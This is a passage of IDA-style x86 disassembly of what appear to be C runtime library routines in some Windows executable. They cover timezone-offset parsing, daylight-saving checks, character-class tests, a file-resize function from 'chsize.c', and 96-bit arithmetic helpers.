jnz short loc_42BD2D
mov ecx, [ebp+var_4]
add ecx, 1
mov [ebp+var_4], ecx
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_C], edx
loc_42BD2D: ; CODE XREF: sub_42BAC0+259j
mov eax, [ebp+var_C]
push eax
call sub_4194F0
add esp, 4
imul eax, 0E10h
mov dword_443EC8, eax
loc_42BD44: ; CODE XREF: sub_42BAC0+2AEj
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 2Bh
jz short loc_42BD65
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42BD70
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42BD70
loc_42BD65: ; CODE XREF: sub_42BAC0+28Dj
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42BD44
; ---------------------------------------------------------------------------
loc_42BD70: ; CODE XREF: sub_42BAC0+298j
; sub_42BAC0+2A3j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 3Ah
jnz loc_42BE15
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
mov edx, [ebp+var_C]
push edx
call sub_4194F0
add esp, 4
imul eax, 3Ch
mov ecx, dword_443EC8
add ecx, eax
mov dword_443EC8, ecx
loc_42BDA5: ; CODE XREF: sub_42BAC0+304j
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 30h
jl short loc_42BDC6
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 39h
jg short loc_42BDC6
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
jmp short loc_42BDA5
; ---------------------------------------------------------------------------
loc_42BDC6: ; CODE XREF: sub_42BAC0+2EEj
; sub_42BAC0+2F9j
mov ecx, [ebp+var_C]
movsx edx, byte ptr [ecx]
cmp edx, 3Ah
jnz short loc_42BE15
mov eax, [ebp+var_C]
add eax, 1
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
push ecx
call sub_4194F0
add esp, 4
mov edx, dword_443EC8
add edx, eax
mov dword_443EC8, edx
loc_42BDF4: ; CODE XREF: sub_42BAC0+353j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
cmp ecx, 30h
jl short loc_42BE15
mov edx, [ebp+var_C]
movsx eax, byte ptr [edx]
cmp eax, 39h
jg short loc_42BE15
mov ecx, [ebp+var_C]
add ecx, 1
mov [ebp+var_C], ecx
jmp short loc_42BDF4
; ---------------------------------------------------------------------------
loc_42BE15: ; CODE XREF: sub_42BAC0+2B9j
; sub_42BAC0+30Fj ...
cmp [ebp+var_4], 0
jz short loc_42BE29
mov edx, dword_443EC8
neg edx
mov dword_443EC8, edx
loc_42BE29: ; CODE XREF: sub_42BAC0+359j
mov eax, [ebp+var_C]
movsx ecx, byte ptr [eax]
mov dword_443ECC, ecx
cmp dword_443ECC, 0
jz short loc_42BE5E
push 3
mov edx, [ebp+var_C]
push edx
mov eax, off_443F58
push eax
call sub_4191A0
add esp, 0Ch
mov ecx, off_443F58
mov byte ptr [ecx+3], 0
jmp short loc_42BE67
; ---------------------------------------------------------------------------
loc_42BE5E: ; CODE XREF: sub_42BAC0+37Cj
mov edx, off_443F58
mov byte ptr [edx], 0
loc_42BE67: ; CODE XREF: sub_42BAC0:loc_42BC3Ej
; sub_42BAC0+1B7j ...
mov esp, ebp
pop ebp
retn
sub_42BAC0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BE70 proc near ; CODE XREF: sub_423ED0+CFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push 0Bh
call sub_41BC90
add esp, 4
mov eax, [ebp+arg_0]
push eax
call sub_42BEA0
add esp, 4
mov [ebp+var_4], eax
push 0Bh
call sub_41BD30
add esp, 4
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42BE70 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BEA0 proc near ; CODE XREF: sub_42BE70+12p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp dword_443ECC, 0
jnz short loc_42BEB4
xor eax, eax
jmp loc_42C196
; ---------------------------------------------------------------------------
loc_42BEB4: ; CODE XREF: sub_42BEA0+Bj
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
cmp ecx, dword_443F60
jnz short loc_42BED4
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
cmp eax, dword_443F70
jz loc_42C09B
loc_42BED4: ; CODE XREF: sub_42BEA0+20j
cmp dword_492330, 0
jz loc_42C055
xor ecx, ecx
mov cx, word_4923D0
test ecx, ecx
jnz short loc_42BF49
xor edx, edx
mov dx, word_4923DE
push edx
xor eax, eax
mov ax, word_4923DC
push eax
xor ecx, ecx
mov cx, word_4923DA
push ecx
xor edx, edx
mov dx, word_4923D8
push edx
push 0
xor eax, eax
mov ax, word_4923D4
push eax
xor ecx, ecx
mov cx, word_4923D6
push ecx
xor edx, edx
mov dx, word_4923D2
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 1
call sub_42C1A0
add esp, 2Ch
jmp short loc_42BF9A
; ---------------------------------------------------------------------------
loc_42BF49: ; CODE XREF: sub_42BEA0+4Cj
xor edx, edx
mov dx, word_4923DE
push edx
xor eax, eax
mov ax, word_4923DC
push eax
xor ecx, ecx
mov cx, word_4923DA
push ecx
xor edx, edx
mov dx, word_4923D8
push edx
xor eax, eax
mov ax, word_4923D6
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_4923D2
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 1
call sub_42C1A0
add esp, 2Ch
loc_42BF9A: ; CODE XREF: sub_42BEA0+A7j
xor ecx, ecx
mov cx, word_49237C
test ecx, ecx
jnz short loc_42C002
xor edx, edx
mov dx, word_49238A
push edx
xor eax, eax
mov ax, word_492388
push eax
xor ecx, ecx
mov cx, word_492386
push ecx
xor edx, edx
mov dx, word_492384
push edx
push 0
xor eax, eax
mov ax, word_492380
push eax
xor ecx, ecx
mov cx, word_492382
push ecx
xor edx, edx
mov dx, word_49237E
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42C1A0
add esp, 2Ch
jmp short loc_42C053
; ---------------------------------------------------------------------------
loc_42C002: ; CODE XREF: sub_42BEA0+105j
xor edx, edx
mov dx, word_49238A
push edx
xor eax, eax
mov ax, word_492388
push eax
xor ecx, ecx
mov cx, word_492386
push ecx
xor edx, edx
mov dx, word_492384
push edx
xor eax, eax
mov ax, word_492382
push eax
push 0
push 0
xor ecx, ecx
mov cx, word_49237E
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+14h]
push eax
push 0
push 0
call sub_42C1A0
add esp, 2Ch
loc_42C053: ; CODE XREF: sub_42BEA0+160j
jmp short loc_42C09B
; ---------------------------------------------------------------------------
loc_42C055: ; CODE XREF: sub_42BEA0+3Bj
push 0
push 0
push 0
push 2
push 0
push 0
push 1
push 4
mov ecx, [ebp+arg_0]
mov edx, [ecx+14h]
push edx
push 1
push 1
call sub_42C1A0
add esp, 2Ch
push 0
push 0
push 0
push 2
push 0
push 0
push 5
push 0Ah
mov eax, [ebp+arg_0]
mov ecx, [eax+14h]
push ecx
push 1
push 0
call sub_42C1A0
add esp, 2Ch
loc_42C09B: ; CODE XREF: sub_42BEA0+2Ej
; sub_42BEA0:loc_42C053j
mov edx, dword_443F64
cmp edx, dword_443F74
jge short loc_42C0F4
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_443F64
jl short loc_42C0C5
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_443F74
jle short loc_42C0CC
loc_42C0C5: ; CODE XREF: sub_42BEA0+215j
xor eax, eax
jmp loc_42C196
; ---------------------------------------------------------------------------
loc_42C0CC: ; CODE XREF: sub_42BEA0+223j
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_443F64
jle short loc_42C0F2
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_443F74
jge short loc_42C0F2
mov eax, 1
jmp loc_42C196
; ---------------------------------------------------------------------------
loc_42C0F2: ; CODE XREF: sub_42BEA0+238j
; sub_42BEA0+246j
jmp short loc_42C137
; ---------------------------------------------------------------------------
loc_42C0F4: ; CODE XREF: sub_42BEA0+207j
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_443F74
jl short loc_42C110
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_443F64
jle short loc_42C117
loc_42C110: ; CODE XREF: sub_42BEA0+260j
mov eax, 1
jmp short loc_42C196
; ---------------------------------------------------------------------------
loc_42C117: ; CODE XREF: sub_42BEA0+26Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+1Ch]
cmp ecx, dword_443F74
jle short loc_42C137
mov edx, [ebp+arg_0]
mov eax, [edx+1Ch]
cmp eax, dword_443F64
jge short loc_42C137
xor eax, eax
jmp short loc_42C196
; ---------------------------------------------------------------------------
loc_42C137: ; CODE XREF: sub_42BEA0:loc_42C0F2j
; sub_42BEA0+283j ...
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
imul edx, 3Ch
mov eax, [ebp+arg_0]
mov ecx, [eax]
add ecx, edx
mov edx, [ebp+arg_0]
mov eax, [edx+8]
imul eax, 0E10h
add ecx, eax
imul ecx, 3E8h
mov [ebp+var_4], ecx
mov ecx, [ebp+arg_0]
mov edx, [ecx+1Ch]
cmp edx, dword_443F64
jnz short loc_42C182
mov eax, [ebp+var_4]
cmp eax, dword_443F68
jl short loc_42C17E
mov eax, 1
jmp short loc_42C196
; ---------------------------------------------------------------------------
loc_42C17E: ; CODE XREF: sub_42BEA0+2D5j
xor eax, eax
jmp short loc_42C196
; ---------------------------------------------------------------------------
loc_42C182: ; CODE XREF: sub_42BEA0+2CAj
mov ecx, [ebp+var_4]
cmp ecx, dword_443F78
jge short loc_42C194
mov eax, 1
jmp short loc_42C196
; ---------------------------------------------------------------------------
loc_42C194: ; CODE XREF: sub_42BEA0+2EBj
xor eax, eax
loc_42C196: ; CODE XREF: sub_42BEA0+Fj
; sub_42BEA0+227j ...
mov esp, ebp
pop ebp
retn
sub_42BEA0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C1A0 proc near ; CODE XREF: sub_42BEA0+9Fp
; sub_42BEA0+F2p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = dword ptr 30h
push ebp
mov ebp, esp
sub esp, 14h
cmp [ebp+arg_4], 1
jnz loc_42C27C
mov eax, [ebp+arg_8]
and eax, 3
test eax, eax
jnz short loc_42C1C9
mov ecx, [ebp+arg_C]
mov edx, dword_443F78[ecx*4]
mov [ebp+var_C], edx
jmp short loc_42C1D6
; ---------------------------------------------------------------------------
loc_42C1C9: ; CODE XREF: sub_42C1A0+18j
mov eax, [ebp+arg_C]
mov ecx, dword_443FAC[eax*4]
mov [ebp+var_C], ecx
loc_42C1D6: ; CODE XREF: sub_42C1A0+27j
mov edx, [ebp+var_C]
add edx, 1
mov [ebp+var_8], edx
mov eax, [ebp+arg_8]
sub eax, 46h
imul eax, 16Dh
mov ecx, [ebp+var_8]
add ecx, eax
mov edx, [ebp+arg_8]
sub edx, 1
sar edx, 2
lea eax, [ecx+edx-0Dh]
cdq
mov ecx, 7
idiv ecx
mov [ebp+var_4], edx
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_14]
jge short loc_42C229
mov eax, [ebp+arg_14]
sub eax, [ebp+var_4]
mov ecx, [ebp+arg_10]
sub ecx, 1
imul ecx, 7
add ecx, [ebp+var_8]
add ecx, eax
mov [ebp+var_8], ecx
jmp short loc_42C23D
; ---------------------------------------------------------------------------
loc_42C229: ; CODE XREF: sub_42C1A0+6Ej
mov edx, [ebp+arg_14]
sub edx, [ebp+var_4]
mov eax, [ebp+arg_10]
imul eax, 7
add eax, [ebp+var_8]
add eax, edx
mov [ebp+var_8], eax
loc_42C23D: ; CODE XREF: sub_42C1A0+87j
cmp [ebp+arg_10], 5
jnz short loc_42C27A
mov ecx, [ebp+arg_8]
and ecx, 3
test ecx, ecx
jnz short loc_42C25C
mov edx, [ebp+arg_C]
mov eax, dword_443F7C[edx*4]
mov [ebp+var_10], eax
jmp short loc_42C269
; ---------------------------------------------------------------------------
loc_42C25C: ; CODE XREF: sub_42C1A0+ABj
mov ecx, [ebp+arg_C]
mov edx, dword_443FB0[ecx*4]
mov [ebp+var_10], edx
loc_42C269: ; CODE XREF: sub_42C1A0+BAj
mov eax, [ebp+var_8]
cmp eax, [ebp+var_10]
jle short loc_42C27A
mov ecx, [ebp+var_8]
sub ecx, 7
mov [ebp+var_8], ecx
loc_42C27A: ; CODE XREF: sub_42C1A0+A1j
; sub_42C1A0+CFj
jmp short loc_42C2B1
; ---------------------------------------------------------------------------
loc_42C27C: ; CODE XREF: sub_42C1A0+Aj
mov edx, [ebp+arg_8]
and edx, 3
test edx, edx
jnz short loc_42C295
mov eax, [ebp+arg_C]
mov ecx, dword_443F78[eax*4]
mov [ebp+var_14], ecx
jmp short loc_42C2A2
; ---------------------------------------------------------------------------
loc_42C295: ; CODE XREF: sub_42C1A0+E4j
mov edx, [ebp+arg_C]
mov eax, dword_443FAC[edx*4]
mov [ebp+var_14], eax
loc_42C2A2: ; CODE XREF: sub_42C1A0+F3j
mov ecx, [ebp+var_14]
mov [ebp+var_8], ecx
mov edx, [ebp+var_8]
add edx, [ebp+arg_18]
mov [ebp+var_8], edx
loc_42C2B1: ; CODE XREF: sub_42C1A0:loc_42C27Aj
cmp [ebp+arg_0], 1
jnz short loc_42C2F1
mov eax, [ebp+var_8]
mov dword_443F64, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_443F68, ecx
mov edx, [ebp+arg_8]
mov dword_443F60, edx
jmp loc_42C394
; ---------------------------------------------------------------------------
loc_42C2F1: ; CODE XREF: sub_42C1A0+115j
mov eax, [ebp+var_8]
mov dword_443F74, eax
mov ecx, [ebp+arg_1C]
imul ecx, 3Ch
mov edx, [ebp+arg_20]
add edx, ecx
imul edx, 3Ch
mov eax, [ebp+arg_24]
add eax, edx
imul eax, 3E8h
mov ecx, [ebp+arg_28]
add ecx, eax
mov dword_443F78, ecx
mov edx, dword_443ED0
imul edx, 3E8h
mov eax, dword_443F78
add eax, edx
mov dword_443F78, eax
cmp dword_443F78, 0
jge short loc_42C361
mov ecx, dword_443F78
add ecx, 5265C00h
mov dword_443F78, ecx
mov edx, dword_443F74
sub edx, 1
mov dword_443F74, edx
jmp short loc_42C38B
; ---------------------------------------------------------------------------
loc_42C361: ; CODE XREF: sub_42C1A0+19Cj
cmp dword_443F78, 5265C00h
jl short loc_42C38B
mov eax, dword_443F78
sub eax, 5265C00h
mov dword_443F78, eax
mov ecx, dword_443F74
add ecx, 1
mov dword_443F74, ecx
loc_42C38B: ; CODE XREF: sub_42C1A0+1BFj
; sub_42C1A0+1CBj
mov edx, [ebp+arg_8]
mov dword_443F70, edx
loc_42C394: ; CODE XREF: sub_42C1A0+14Cj
mov esp, ebp
pop ebp
retn
sub_42C1A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 0
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 0
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 107h
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 1
push 103h
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 117h
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 3
push 157h
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 2
push 10h
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C4A0 proc near ; CODE XREF: sub_425180+4Ep
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push 4
push 0
mov eax, [ebp+arg_0]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
sub_42C4A0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push 8
push 0
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
cmp dword_492524, 3A4h
jnz short loc_42C50D
push 3
push 0
mov eax, [ebp+8]
push eax
call sub_42C520
add esp, 0Ch
test eax, eax
jz short loc_42C50D
mov dword ptr [ebp-4], 1
jmp short loc_42C514
; ---------------------------------------------------------------------------
loc_42C50D: ; CODE XREF: .text:0042C4EEj
; .text:0042C502j
mov dword ptr [ebp-4], 0
loc_42C514: ; CODE XREF: .text:0042C50Bj
mov eax, [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C520 proc near ; CODE XREF: .text:0042C3ABp
; .text:0042C3CBp ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
and eax, 0FFh
mov [ebp+arg_0], eax
mov ecx, [ebp+arg_0]
xor edx, edx
mov dl, byte_492641[ecx]
and edx, [ebp+arg_8]
test edx, edx
jnz short loc_42C574
cmp [ebp+arg_4], 0
jz short loc_42C55E
mov eax, [ebp+arg_0]
xor ecx, ecx
mov cx, word_442D56[eax*2]
and ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
jmp short loc_42C565
; ---------------------------------------------------------------------------
loc_42C55E: ; CODE XREF: sub_42C520+27j
mov [ebp+var_4], 0
loc_42C565: ; CODE XREF: sub_42C520+3Cj
cmp [ebp+var_4], 0
jnz short loc_42C574
mov [ebp+var_8], 0
jmp short loc_42C57B
; ---------------------------------------------------------------------------
loc_42C574: ; CODE XREF: sub_42C520+21j
; sub_42C520+49j
mov [ebp+var_8], 1
loc_42C57B: ; CODE XREF: sub_42C520+52j
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42C520 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+8]
cmp eax, dword_492520
jnb short loc_42C5C1
mov ecx, [ebp+8]
sar ecx, 5
mov edx, [ebp+8]
and edx, 1Fh
imul edx, 24h
mov eax, dword_492420[ecx*4]
movsx ecx, byte ptr [eax+edx+4]
and ecx, 1
test ecx, ecx
jnz short loc_42C5D1
loc_42C5C1: ; CODE XREF: .text:0042C59Dj
call sub_422F20
mov dword ptr [eax], 9
or eax, 0FFFFFFFFh
jmp short loc_42C5FF
; ---------------------------------------------------------------------------
loc_42C5D1: ; CODE XREF: .text:0042C5BFj
mov edx, [ebp+8]
push edx
call sub_4280C0
add esp, 4
mov eax, [ebp+0Ch]
push eax
mov ecx, [ebp+8]
push ecx
call sub_42C610
add esp, 8
mov [ebp-4], eax
mov edx, [ebp+8]
push edx
call sub_428150
add esp, 4
mov eax, [ebp-4]
loc_42C5FF: ; CODE XREF: .text:0042C5CFj
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C610 proc near ; CODE XREF: sub_4282A0+44Cp
; .text:0042C5E5p
var_1024 = dword ptr -1024h
var_1020 = dword ptr -1020h
var_101C = dword ptr -101Ch
var_1018 = dword ptr -1018h
var_1014 = dword ptr -1014h
var_1010 = dword ptr -1010h
var_100C = dword ptr -100Ch
var_1008 = dword ptr -1008h
var_1004 = byte ptr -1004h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1024h
call sub_418D40
push ebx
push esi
push edi
lea eax, [ebp+var_1004]
mov [ebp+var_1014], eax
mov [ebp+var_101C], 0
loc_42C636: ; CODE XREF: sub_42C610+51j
cmp [ebp+arg_4], 0
jge short loc_42C65D
push offset aSize0 ; "size >= 0"
push 0
push 81h
push offset aChsize_c ; "chsize.c"
push 2
call sub_41BF80
add esp, 14h
cmp eax, 1
jnz short loc_42C65D
int 3 ; Trap to Debugger
loc_42C65D: ; CODE XREF: sub_42C610+2Aj
; sub_42C610+4Aj
xor ecx, ecx
test ecx, ecx
jnz short loc_42C636
push 1
push 0
mov edx, [ebp+arg_0]
push edx
call sub_424B90
add esp, 0Ch
mov [ebp+var_100C], eax
cmp [ebp+var_100C], 0FFFFFFFFh
jz short loc_42C6A1
push 2
push 0
mov eax, [ebp+arg_0]
push eax
call sub_424B90
add esp, 0Ch
mov [ebp+var_1010], eax
cmp [ebp+var_1010], 0FFFFFFFFh
jnz short loc_42C6A9
loc_42C6A1: ; CODE XREF: sub_42C610+70j
or eax, 0FFFFFFFFh
jmp loc_42C839
; ---------------------------------------------------------------------------
loc_42C6A9: ; CODE XREF: sub_42C610+8Fj
mov ecx, [ebp+arg_4]
sub ecx, [ebp+var_1010]
mov [ebp+var_1018], ecx
cmp [ebp+var_1018], 0
jle loc_42C7C0
push 1000h
push 0
mov edx, [ebp+var_1014]
push edx
call sub_4189A0
add esp, 0Ch
push 8000h
mov eax, [ebp+arg_0]
push eax
call sub_42F8C0
add esp, 8
mov [ebp+var_4], eax
loc_42C6EF: ; CODE XREF: sub_42C610+198j
cmp [ebp+var_1018], 1000h
jl short loc_42C707
mov [ebp+var_1020], 1000h
jmp short loc_42C713
; ---------------------------------------------------------------------------
loc_42C707: ; CODE XREF: sub_42C610+E9j
mov ecx, [ebp+var_1018]
mov [ebp+var_1020], ecx
loc_42C713: ; CODE XREF: sub_42C610+F5j
mov edx, [ebp+var_1020]
mov [ebp+var_1008], edx
cmp [ebp+var_1018], 1000h
jl short loc_42C737
mov [ebp+var_1024], 1000h
jmp short loc_42C743
; ---------------------------------------------------------------------------
loc_42C737: ; CODE XREF: sub_42C610+119j
mov eax, [ebp+var_1018]
mov [ebp+var_1024], eax
loc_42C743: ; CODE XREF: sub_42C610+125j
mov ecx, [ebp+var_1024]
push ecx
mov edx, [ebp+var_1014]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_422400
add esp, 0Ch
mov [ebp+var_1008], eax
cmp [ebp+var_1008], 0FFFFFFFFh
jnz short loc_42C78F
call sub_422F30
cmp dword ptr [eax], 5
jnz short loc_42C781
call sub_422F20
mov dword ptr [eax], 0Dh
loc_42C781: ; CODE XREF: sub_42C610+164j
mov ecx, [ebp+var_1008]
mov [ebp+var_101C], ecx
jmp short loc_42C7AE
; ---------------------------------------------------------------------------
loc_42C78F: ; CODE XREF: sub_42C610+15Aj
mov edx, [ebp+var_1018]
sub edx, [ebp+var_1008]
mov [ebp+var_1018], edx
cmp [ebp+var_1018], 0
jg loc_42C6EF
loc_42C7AE: ; CODE XREF: sub_42C610+17Dj
mov eax, [ebp+var_4]
push eax
mov ecx, [ebp+arg_0]
push ecx
call sub_42F8C0
add esp, 8
jmp short loc_42C81E
; ---------------------------------------------------------------------------
loc_42C7C0: ; CODE XREF: sub_42C610+AFj
cmp [ebp+var_1018], 0
jge short loc_42C81E
push 0
mov edx, [ebp+arg_4]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_424B90
add esp, 0Ch
mov ecx, [ebp+arg_0]
push ecx
call sub_427F40
add esp, 4
push eax
call ds:dword_4942A4
neg eax
sbb eax, eax
neg eax
dec eax
mov [ebp+var_101C], eax
cmp [ebp+var_101C], 0FFFFFFFFh
jnz short loc_42C81E
call sub_422F20
mov dword ptr [eax], 0Dh
call ds:dword_4942F0
mov esi, eax
call sub_422F30
mov [eax], esi
loc_42C81E: ; CODE XREF: sub_42C610+1AEj
; sub_42C610+1B7j ...
push 0
mov edx, [ebp+var_100C]
push edx
mov eax, [ebp+arg_0]
push eax
call sub_424B90
add esp, 0Ch
mov eax, [ebp+var_101C]
loc_42C839: ; CODE XREF: sub_42C610+94j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_42C610 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C840 proc near ; CODE XREF: sub_428D30+53p
; sub_428D30+94p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 8
mov [ebp+var_8], 0
mov eax, [ebp+arg_0]
add eax, [ebp+arg_4]
mov [ebp+var_4], eax
mov ecx, [ebp+var_4]
cmp ecx, [ebp+arg_0]
jb short loc_42C866
mov edx, [ebp+var_4]
cmp edx, [ebp+arg_4]
jnb short loc_42C86F
loc_42C866: ; CODE XREF: sub_42C840+1Cj
mov eax, [ebp+var_8]
add eax, 1
mov [ebp+var_8], eax
loc_42C86F: ; CODE XREF: sub_42C840+24j
mov ecx, [ebp+arg_8]
mov edx, [ebp+var_4]
mov [ecx], edx
mov eax, [ebp+var_8]
mov esp, ebp
pop ebp
retn
sub_42C840 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C880 proc near ; CODE XREF: sub_42CA00+77p
; sub_42CA00+AAp ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+arg_4]
mov edx, [ecx]
push edx
mov eax, [ebp+arg_0]
mov ecx, [eax]
push ecx
call sub_42C840
add esp, 0Ch
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jz short loc_42C8D7
mov edx, [ebp+arg_0]
add edx, 4
push edx
push 1
mov eax, [ebp+arg_0]
mov ecx, [eax+4]
push ecx
call sub_42C840
add esp, 0Ch
mov [ebp+var_8], eax
cmp [ebp+var_8], 0
jz short loc_42C8D7
mov edx, [ebp+arg_0]
mov eax, [edx+8]
add eax, 1
mov ecx, [ebp+arg_0]
mov [ecx+8], eax
loc_42C8D7: ; CODE XREF: sub_42C880+25j
; sub_42C880+46j
mov edx, [ebp+arg_0]
add edx, 4
push edx
mov eax, [ebp+arg_4]
mov ecx, [eax+4]
push ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
push eax
call sub_42C840
add esp, 0Ch
mov [ebp+var_C], eax
cmp [ebp+var_C], 0
jz short loc_42C90C
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
add edx, 1
mov eax, [ebp+arg_0]
mov [eax+8], edx
loc_42C90C: ; CODE XREF: sub_42C880+7Bj
mov ecx, [ebp+arg_0]
add ecx, 8
push ecx
mov edx, [ebp+arg_4]
mov eax, [edx+8]
push eax
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
push edx
call sub_42C840
add esp, 0Ch
mov esp, ebp
pop ebp
retn
sub_42C880 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C930 proc near ; CODE XREF: sub_42CA00+5Bp
; sub_42CA00+67p ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 80000000h
neg ecx
sbb ecx, ecx
neg ecx
mov [ebp+var_4], ecx
mov edx, [ebp+arg_0]
mov eax, [edx+4]
and eax, 80000000h
neg eax
sbb eax, eax
neg eax
mov [ebp+var_8], eax
mov ecx, [ebp+arg_0]
mov edx, [ecx]
shl edx, 1
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+4]
shl edx, 1
or edx, [ebp+var_4]
mov eax, [ebp+arg_0]
mov [eax+4], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shl edx, 1
or edx, [ebp+var_8]
